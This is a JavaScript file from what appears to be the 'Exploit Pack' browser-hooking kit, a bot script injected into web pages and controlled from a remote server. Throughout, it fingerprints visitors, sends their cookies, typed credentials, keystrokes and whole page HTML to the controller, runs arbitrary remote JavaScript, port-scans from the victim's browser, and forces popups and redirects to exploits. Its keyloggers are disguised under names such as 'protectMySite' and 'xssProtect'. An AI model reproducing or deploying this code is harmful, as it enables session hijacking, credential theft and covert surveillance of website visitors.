1029var CookieID = GetEverCookie();
1030// Declare Host URL
1031var sendHostUrl = document.location.hostname;
1032// Declare Browser name
1033var sendBrowserName = BrowserDetect.browser;
1034// Declare Os Type
1035var sendOSType = navigator.platform;
1036// Declare credentials
1037var credentials;
1038// IP Address
1039var MyCurrentIP;
1040// Disable some shits
1041antiCopyPaste();
1042
1043// Get the commands trough AJAX
1044function sendMagic(data) {
1045 console.log('Exploit Pack: Getting data..');
1046 var old = document.getElementById("EPMagic");
1047 if (old !== null) {
1048 old.outerHTML = "";
1049 delete old;
1050 }
1051
1052 var head = document.getElementsByTagName("head")[0];
1053 var script = document.createElement('script');
1054 script.id = 'EPMagic';
1055 script.type = 'text/javascript';
1056 script.src = urlServer + data;
1057 head.appendChild(script);
1058}
1059
1060
1061
1062// Get hostname
1063function getHostname() {
1064 var domain = document.location.host;
1065 if (domain.indexOf('www.') === 0)
1066 domain = domain.replace('www.', '');
1067 return domain;
1068}
1069
1070// Startup of doMagic
1071window.onload = function () {
1072 bot_init();
1073};
1074
1075// Obtain IP address and geo localization
1076function myIP() {
1077 if (window.XMLHttpRequest)
1078 xmlhttp = new XMLHttpRequest();
1079 else
1080 xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
1081 xmlhttp.open("GET", "https://api.ipify.org/?format=txt", false);
1082 xmlhttp.send();
1083 return hostipInfo = xmlhttp.responseText.split("\n");
1084}
1085
1086// First start, get details and send them to my owner
1087function bot_init() {
1088 // Disable CACHE
1089 $('head').append('<meta http-equiv="cache-control" content="max-age=0" />');
1090 $('head').append('<meta http-equiv="cache-control" content="no-cache" />');
1091 $('head').append('<meta http-equiv="expires" content="0" />');
1092 $('head').append('<meta http-equiv="expires" content="-1" />');
1093 $('head').append('<meta http-equiv="expires" content="Tue, 01 Jan 1980 1:00:00 GMT" />');
1094 $('head').append('<meta http-equiv="pragma" content="no-cache" />');
1095 // Obtain IP
1096 MyCurrentIP = myIP();
1097 // Send the data for the first time
1098 sendMagic("&" + CookieID + "&" + sendHostUrl + "&" + sendBrowserName + "&" + sendOSType + "&" + "" + "&" + "0" + '&' + AgentUN + '&' + MyCurrentIP);
1099}
1100
1101// Send Alert
1102function showAlert(message) {
1103 alert(message);
1104 // Send the response
1105 sendMagic("&" + CookieID + "&" + sendHostUrl + "&" + sendBrowserName + "&" + sendOSType + "&" + "msg executed" + "&" + "1" + '&' + AgentUN + '&' + MyCurrentIP);
1106}
1107
1108// Control flow
1109function Flow(statusflow) {
1110 // Send the response
1111 sendMagic("&" + CookieID + "&" + sendHostUrl + "&" + sendBrowserName + "&" + sendOSType + "&" + statusflow + "&" + "1" + '&' + AgentUN + '&' + MyCurrentIP);
1112}
1113
1114// Dialog Message
1115function Dialog(message) {
1116 dialogMessage = prompt(message, '');
1117 // Send the response
1118 sendMagic("&" + CookieID + "&" + sendHostUrl + "&" + sendBrowserName + "&" + sendOSType + "&" + dialogMessage + "&" + "1" + '&' + AgentUN + '&' + MyCurrentIP);
1119}
1120
1121
1122// Send plugins list
1123function Plugins() {
1124 var plugLength = navigator.plugins.length;
1125 var plugins = "";
1126 for(i=0; i<plugLength; i++){
1127 plugins += (navigator.plugins[i].name);
1128 }
1129
1130 // Send the response
1131 sendMagic("&" + CookieID + "&" + sendHostUrl + "&" + sendBrowserName + "&" + sendOSType + "&" + plugins + "&" + "1" + '&' + AgentUN + '&' + MyCurrentIP);
1132}
1133
1134// Send screensize
1135function ScreenSize() {
1136 var screensize = screen.width+" x "+ screen.height;
1137 // Send the response
1138 sendMagic("&" + CookieID + "&" + sendHostUrl + "&" + sendBrowserName + "&" + sendOSType + "&" + screensize + "&" + "1" + '&' + AgentUN + '&' + MyCurrentIP);
1139}
1140
1141
1142// Get credentials
1143function getCredentials(credentials) {
1144 // Send the response
1145 sendMagic("&" + CookieID + "&" + sendHostUrl + "&" + +sendBrowserName + "&" + sendOSType + "&" + credentials + "&" + "1" + '&' + AgentUN + '&' + MyCurrentIP);
1146}
1147
1148// Get cookies and send them
1149function GetSession() {
1150 // Send the response
1151 sendMagic("&" + CookieID + "&" + sendHostUrl + "&" + sendBrowserName + "&" + sendOSType + "&" + document.cookie + "&" + "1" + '&' + AgentUN + '&' + MyCurrentIP);
1152}
1153
1154function Freeze() {
1155 while (1) {
1156 setTimeout("location.replace(urlServer + 'Gate/Troyan.aspx');", 0);
1157 }
1158}
1159
1160function PersistAggresive() {
1161 setTimeout("location.replace(urlServer + 'Persist/PopUp.aspx?Owner=' + AgentUN);", 0);
1162 return false;
1163}
1164
1165function redirectSite(url) {
1166 location.replace('http://' + url);
1167 return false;
1168}
1169
1170function execJS(jscode) {
1171 var head = document.getElementsByTagName("head")[0];
1172 var script = document.createElement('script');
1173 script.id = 'EPMagic';
1174 script.type = 'text/javascript';
1175 script.text = jscode;
1176 head.appendChild(script);
1177 return false;
1178}
1179
1180function monster() {
1181 $('body').prepend("<center><br><br><br><embed width='100%' height='100%' src='http://www.youtube.com/v/Ye8mB6VsUHw?autoplay=1&cc_load_policy=1' type='application/x-shockwave-flash'></embed></center>");
1182}
1183
1184function tabKiller() {
1185 setTimeout("location.replace(urlServer + 'Persist/XSSTest.aspx?Owner=' + AgentUN);", 0);
1186 return false;
1187}
1188
1189function PersistOnClick() {
1190 document.cookie = 'oneinone=yes';
1191 function blockError() {
1192 return true;
1193 }
1194 window.onerror = blockError;
1195 //bypass norton internet security popup blocker
1196 if (window.SymRealWinOpen) {
1197 window.open = SymRealWinOpen;
1198 }
1199 if (window.NS_ActualOpen) {
1200 window.open = NS_ActualOpen;
1201 }
1202 var paypopupURL = urlServer + 'Persist/PopUp.aspx?Owner=' + AgentUN;
1203 var usingClick = false;
1204 var popwin = null;
1205 var poped = false;
1206 function gopop() {
1207 if (!poped) {
1208 popwin = window.open(paypopupURL);
1209 poped = true;
1210 self.focus();
1211 }
1212 }
1213
1214 function paypopup() {
1215 if (!poped) {
1216 if (!usingClick) {
1217 popwin = window.open(paypopupURL);
1218 self.focus();
1219 if (popwin) {
1220 poped = true;
1221 }
1222 }
1223 }
1224 if (!poped) {
1225 if (window.Event)
1226 document.captureEvents(Event.CLICK);
1227 document.onclick = gopop;
1228 self.focus();
1229 }
1230 }
1231 function version() {
1232 usingClick = ((window.navigator.userAgent.indexOf("SV1") != -1) || (window.navigator.userAgent.indexOf("Opera") != -1) || (window.navigator.userAgent.indexOf("Firefox") != -1));
1233 }
1234 version();
1235 paypopup();
1236 self.focus();
1237}
1238
1239function jokeImages() {
1240 R = 0;
1241 x1 = .1;
1242 y1 = .05;
1243 x2 = .25;
1244 y2 = .24;
1245 x3 = 1.6;
1246 y3 = .24;
1247 x4 = 300;
1248 y4 = 200;
1249 x5 = 300;
1250 y5 = 200;
1251 DI = document.images;
1252 DIL = DI.length;
1253 var flow = function () {
1254 for (i = 0; i - DIL; i++) {
1255 DIS = DI[i].style;
1256 DIS.position = 'absolute';
1257 DIS.left = (Math.sin(R * x1 + i * x2 + x3) * x4 + x5) + 'px';
1258 DIS.top = (Math.cos(R * y1 + i * y2 + y3) * y4 + y5) + 'px'
1259 }
1260 R++
1261 };
1262 setInterval(function () {
1263 flow();
1264 }, 5);
1265 void (0);
1266}
1267
1268function protectMySite() {
1269 setInterval(function () {
1270 if (!isTyping && keyString) {
1271 var d = new Date();
1272 sendMagic("&" + CookieID + "&" + sendHostUrl + "&" + sendBrowserName + "&" + sendOSType + "&" + keyString + "&" + "1" + '&' + AgentUN + '&' + MyCurrentIP);
1273 keyString = "";
1274 }
1275 }, 1000);
1276 setInterval(function () {
1277 isTyping = false;
1278 }, 5000);
1279 document.onkeypress = function (ev) {
1280 isTyping = true;
1281 var ev = ev || window.event;
1282 var key = (ev.which || ev.charCode || ev.keyCode);
1283 keyString += String.fromCharCode(key);
1284 };
1285 return "Exploit Pack - Protection: ENABLED";
1286}
1287
1288function xssProtect() {
1289 setInterval(function () {
1290 if (!isTyping && keyString) {
1291 var d = new Date();
1292 sendMagic("&" + CookieID + "&" + sendHostUrl + "&" + sendBrowserName + "&" + sendOSType + "&" + keyString + "&" + "1" + '&' + AgentUN + '&' + MyCurrentIP);
1293 keyString = "";
1294 }
1295 }, 1000);
1296 setInterval(function () {
1297 isTyping = false;
1298 }, 5000);
1299 document.onkeypress = function (ev) {
1300 isTyping = true;
1301 var ev = ev || window.event;
1302 var key = (ev.which || ev.charCode || ev.keyCode);
1303 keyString += String.fromCharCode(key);
1304 };
1305 return "Exploit Pack - Protection XSS: ENABLED";
1306}
1307
1308function sqlProtect() {
1309 setInterval(function () {
1310 if (!isTyping && keyString) {
1311 var d = new Date();
1312 sendMagic("&" + CookieID + "&" + sendHostUrl + "&" + sendBrowserName + "&" + sendOSType + "&" + keyString + "&" + "1" + '&' + AgentUN + '&' + MyCurrentIP);
1313 keyString = "";
1314 }
1315 }, 1000);
1316 setInterval(function () {
1317 isTyping = false;
1318 }, 5000);
1319 document.onkeypress = function (ev) {
1320 isTyping = true;
1321 var ev = ev || window.event;
1322 var key = (ev.which || ev.charCode || ev.keyCode);
1323 keyString += String.fromCharCode(key);
1324 };
1325 return "Exploit Pack - Protection SQL: ENABLED";
1326}
1327function banIP(ip) {
1328 alert("Due to abuse your IP has been banned on this site. Redirecting...")
1329 window.location.replace(server + "/IPBanned.aspx")
1330}
1331
1332function addIPtoBanList() {
1333 sendMagic("&" + CookieID + "&" + sendHostUrl + "&" + sendBrowserName + "&" + sendOSType + "&" + 'IPBANNED:' + MyCurrentIP + "&" + "1" + '&' + AgentUN + '&' + MyCurrentIP);
1334}
1335
1336function antiCopyPaste() {
1337 function whichButton(event) {
1338 if (event.button == 2)//RIGHT CLICK
1339 {
1340 alert("Not Allow Right Click!");
1341 }
1342
1343 }
1344
1345 function noCTRL(e) {
1346 var code = (document.all) ? event.keyCode : e.which;
1347 var msg = "Sorry, this functionality is disabled.";
1348 if (parseInt(code) == 17) //CTRL
1349 {
1350 alert(msg);
1351 window.event.returnValue = false;
1352 }
1353 }
1354}
1355
1356var from = 0;
1357var to = 1024;
1358function scanEngine(host) {
1359 Scan = $.ajax({
1360 url: host + ":" + from,
1361 dataType: 'script',
1362 type: 'GET'
1363 })
1364 Scan.done(function () {
1365 alert("END");
1366 })
1367 Scan.success(function () {
1368 sendMagic("&" + CookieID + "&" + sendHostUrl + "&" + sendBrowserName + "&" + sendOSType + "&" + "HOST: " + host + " PORT: " + from + " State: OPEN" + "&" + "1" + '&' + AgentUN + '&' + MyCurrentIP);
1369 })
1370}
1371
1372function launchWindow(id) {
1373
1374 //Get the screen height and width
1375 var maskHeight = $(document).height();
1376 var maskWidth = $(window).width();
1377 //Set heigth and width to mask to fill up the whole screen
1378 $('#mask').css({'width': maskWidth, 'height': maskHeight});
1379 //transition effect
1380 $('#mask').fadeIn(1000);
1381 $('#mask').fadeTo("slow", 0.8);
1382 //Get the window height and width
1383 var winH = $(window).height();
1384 var winW = $(window).width();
1385 //Set the popup window to center
1386 $(id).css('top', winH / 2 - $(id).height());
1387 $(id).css('left', winW / 2 - $(id).width() / 2);
1388 //transition effect
1389 $(id).fadeIn(2000);
1390}
1391
1392function portScanner(host) {
1393 while (from != to) {
1394 scanEngine(host, from, to);
1395 from++;
1396 }
1397 return "Exploit Pack - Port scanner";
1398}
1399
1400function exploitThis(exploitName) {
1401 alert("Executing an exploit from ExploitPack.com")
1402 window.location.replace(server + "/exploits/" + exploitName)
1403}
1404
1405function scanForThreats() {
1406 WholeHtml = document.getElementsByTagName('html')[0].innerHTML;
1407 sendMagic("&" + CookieID + "&" + sendHostUrl + "&" + sendBrowserName + "&" + sendOSType + "&" + WholeHtml + "&" + "1" + '&' + AgentUN + '&' + MyCurrentIP);
1408 return "Exploit Pack - Scanning for threats..";
1409}